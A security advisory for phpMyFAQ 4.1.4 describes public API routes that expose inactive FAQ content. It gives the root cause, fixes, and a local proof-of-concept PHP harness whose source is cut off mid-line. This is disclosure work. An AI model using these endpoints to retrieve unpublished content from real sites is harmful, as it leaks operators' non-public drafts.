GHSA-mf8r-wm2w-f8c5#phpmyfaq/phpmyfaq
Packagist · phpmyfaq/phpmyfaq
Summary
phpMyFAQ public FAQ APIs expose inactive FAQ content
Advisory details
Affected Product
phpMyFAQ
Affected Versions
- Confirmed affected: 4.1.4, API v3.1.
- Confirmed affected: current main / 4.2-style source, API v4.0, for
GET /api/v4.0/faqs/tags/{tagId}whenapi.onlyActiveFaqs=true.
Patched Versions
4.1.5.
Description
The public FAQ API applies inconsistent active = 'yes' filtering across endpoints. A FAQ entry marked active = 'no' is hidden from GET /api/v3.1/faqs/{categoryId} in phpMyFAQ 4.1.4, but the same inactive FAQ can still be retrieved through public API routes:
GET /api/v3.1/faq/{categoryId}/{faqId}returns the inactive FAQ title and full answer.GET /api/v3.1/faqs/tags/{tagId}returns the inactive FAQ title and answer preview.
On the current 4.2-style branch, api.onlyActiveFaqs=true hides inactive FAQs from list and direct-by-id endpoints, but GET /api/v4.0/faqs/tags/{tagId} still returns inactive FAQ title and preview because it calls Faq::getFaqsByIds() without active/date filtering.
Inactive FAQs are commonly used as drafts or review-only content, so these unauthenticated public API paths may disclose non-public content.
Root Cause
FaqController::getByCategoryId() calls Faq::getAllAvailableFaqsByCategoryId(), which filters:
fd.date_start <= now
AND fd.date_end >= now
AND fd.active = 'yes'
FaqController::getByTagId() instead resolves record IDs through Tags::getFaqsByTagId() and then calls Faq::getFaqsByIds($recordIds).
Faq::getFaqsByIds() filters by record ID, language, and permission, but does not filter fd.active = 'yes' or publication date windows before returning record_title and record_preview.
In phpMyFAQ 4.1.4, FaqController::getById() calls Faq::getFaqByIdAndCategoryId(), which also lacks an inactive/publication-window filter and returns the full answer.
Proof of Concept
The attached PoC uses phpMyFAQ's real Composer autoloader, real public FaqController, and a temporary copy of tests/test.db.
Run from a local phpMyFAQ 4.1.4 source checkout after dependencies are installed and tests/test.db exists:
php poc_phpmyfaq_414_inactive_faq_api_exposure.php /path/to/phpMyFAQ-4.1.4
Expected output:
phpMyFAQ version: 4.1.4
Inserted FAQ: id=991414, active=no, anonymous-readable, category=991414, tag=991414
GET /api/v3.1/faqs/991414 status: 200
Category response contains inactive title: no
GET /api/v3.1/faq/991414/991414 status: 200
Direct-by-id response contains inactive full title+answer: yes
GET /api/v3.1/faqs/tags/991414 status: 200
Tag response contains inactive title+preview: yes
VERDICT: reproduced inactive FAQ exposure through public API controller paths.
Suggested Fix
Apply one consistent public visibility check across all public FAQ API routes:
fd.active = 'yes'fd.date_start <= nowfd.date_end >= now
Suggested implementation options:
- Add
Faq::getActiveFaqsByIds(array $faqIds)and use it in public tag API routes. - Or add an
$onlyActive/$publicOnlyargument toFaq::getFaqsByIds()and default public controllers to enabled filtering. - Update
Faq::getFaqByIdAndCategoryId()or the public controller wrapper so inactive records return 404 for unauthenticated public API requests. - Add regression tests with an inactive, anonymous-readable FAQ that has both category and tag relations.
Reporter Credit
Please credit:
Yaohui Wang
CVE Request
Because this is unauthenticated exposure of inactive / non-public FAQ content through public API endpoints in a supported release line, please consider assigning a GHSA and requesting a CVE if it meets the project's advisory criteria.
Full PoC Source
<?php
declare(strict_types=1);
/*
* PoC for phpMyFAQ 4.1.4 inactive FAQ exposure through public FAQ APIs.
*
* Usage from a phpMyFAQ 4.1.4 source checkout:
* php path/to/poc_phpmyfaq_414_inactive_faq_api_exposure.php /path/to/phpMyFAQ-4.1.4
*
* If no path is provided, the current working directory is used.
*
* This is a local-only defensive harness. It uses phpMyFAQ's real Composer
* autoloader, real public API controller, and a temporary copy of tests/test.db.
*/
use phpMyFAQ\Configuration;
use phpMyFAQ\Controller\Api\FaqController;
use phpMyFAQ\Database;
use phpMyFAQ\Database\DatabaseDriver;
use phpMyFAQ\Language;
use phpMyFAQ\Strings;
use phpMyFAQ\System;
use phpMyFAQ\Translation;
use Symfony\Component\HttpFoundation\Request;
use Symfony\Component\HttpFoundation\Session\Session;
use Symfony\Component\HttpFoundation\Session\Storage\MockArraySessionStorage;
$repoRoot = $argv[1] ?? getcwd();
$repoRoot = realpath($repoRoot);
if ($repoRoot === false || !is_dir($repoRoot . '/phpmyfaq')) {
fwrite(STDERR, "Usage: php " . basename(__FILE__) . " /path/to/phpMyFAQ-4.1.4\n");
exit(2);
}
if (!is_file($repoRoot . '/phpmyfaq/src/autoload.php')) {
fwrite(STDERR, "Missing phpmyfaq/src/autoload.php. Run composer install first.\n");
exit(2);
}
if (!is_file($repoRoot . '/tests/test.db')) {
fwrite(STDERR, "Missing tests/test.db. Run a phpMyFAQ PHPUnit test once to create it.\n");
exit(2);
}
define('PMF_ROOT_DIR', $repoRoot . '/phpmyfaq');
define('PMF_CONFIG_DIR', $repoRoot . '/tests/content/core/config');
define('PMF_CONTENT_DIR', $repoRoot . '/tests/content');
define('PMF_TEST_DIR', $repoRoot . '/tests');
define('PMF_LOG_DIR', sys_get_temp_dir() . '/phpmyfaq_414_inactive_faq_api_poc.log');
const IS_VALID_PHPMYFAQ = true;
$_SERVER['HTTP_HOST'] = 'localhost';
$_SERVER['SERVER_NAME'] = 'localhost';
$_SERVER['REQUEST_TIME'] = time();
require PMF_ROOT_DIR . '/src/constants.php';
require PMF_ROOT_DIR . '/content/core/config/constants.php';
require PMF_ROOT_DIR . '/translations/language_en.php';
require PMF_ROOT_DIR . '/src/autoload.php';
function pocQuery(DatabaseDriver $db, string $sql): void
{
$result = $db->query($sql);
if ($result === false) {
throw new RuntimeException('SQL failed: ' . $db->error() . "\nSQL: " . $sql);
}
}
$tempDb = tempnam(sys_get_temp_dir(), 'pmf-414-api-poc-');
if ($tempDb === false || !copy($repoRoot . '/tests/test.db', $tempDb)) {
fwrite(STDERR, "Cannot create temporary SQLite database.\n");
exit(2);
}
try {
Strings::init();
Translation::create()
->setTranslationsDir(PMF_ROOT_DIR . '/translations')
->setDefaultLanguage('en')
->setCurrentLanguage('en')
->setMultiByteLanguage();
Database::setTablePrefix('');
$db = Database::factory('pdo_sqlite');
if (!$db instanceof DatabaseDriver) {
throw new RuntimeException('Could not create PDO SQLite database driver.');
}
$db->connect($tempDb, '', '');
$configuration = new Configuration($db);
$configuration->getAll();
$configuration->set('api.enableAccess', 'true');
$configuration->set('main.currentVersion', System::getVersion());
$configuration->set('main.language', 'en');
$configuration->set('main.referenceURL', 'https://localhost/');
$configuration->set('security.enableLoginOnly', 'false');
$configuration->set('security.permLevel', 'basic');
$configuration->set('records.numberOfRecordsPerPage', '25');
$configuration->getAll();
$session = new Session(new MockArraySessionStorage());
$language = new Language($configuration, $session);
$language->setLanguageFromConfiguration('en');
$configuration->setLanguage($language);
$faqId = 991414;
$tagId = 991414;
$categoryId = 991414;
$question = 'Inactive tagged API probe 4.1.4';
$answer = 'This inactive FAQ preview is returned by the public tag API in phpMyFAQ 4.1.4.';
pocQuery($db, sprintf('DELETE FROM faqdata_tags WHERE record_id = %d OR tagging_id = %d', $faqId, $tagId));
pocQuery($db, sprintf('DELETE FROM faqtags WHERE tagging_id = %d', $tagId));
pocQuery($db, sprintf('DELETE FROM faqdata_user WHERE record_id = %d', $faqId));
pocQuery($db, sprintf('DELETE FROM faqdata_group WHERE record_id = %d', $faqId));
pocQue
References
Related vulnerabilities
All Supply chain →- HIGHCVE-2026-55485
piccolo-admin has a privilege escalation issue - admin to superuser via session-token disclosure in GET /api/tables/sessions/.
- MEDIUMGHSA-mf8r-wm2w-f8c5#thorsten/phpmyfaq
phpMyFAQ public FAQ APIs expose inactive FAQ content
- MEDIUMCVE-2026-71433
LangGraph: Namespace prefix matching crosses segment boundaries in Postgres and SQLite stores
- MEDIUMCVE-2026-57897
Gitea: Cross-Repo Information Disclosure via Org-Level Actions Run/Job APIs
- MEDIUMCVE-2026-58427
Gitea: Private org member list leaked via /members API endpoint — incomplete fix for PR #38145
- MEDIUMCVE-2026-58417
Gitea: REST API exposes organization membership of private organizations to public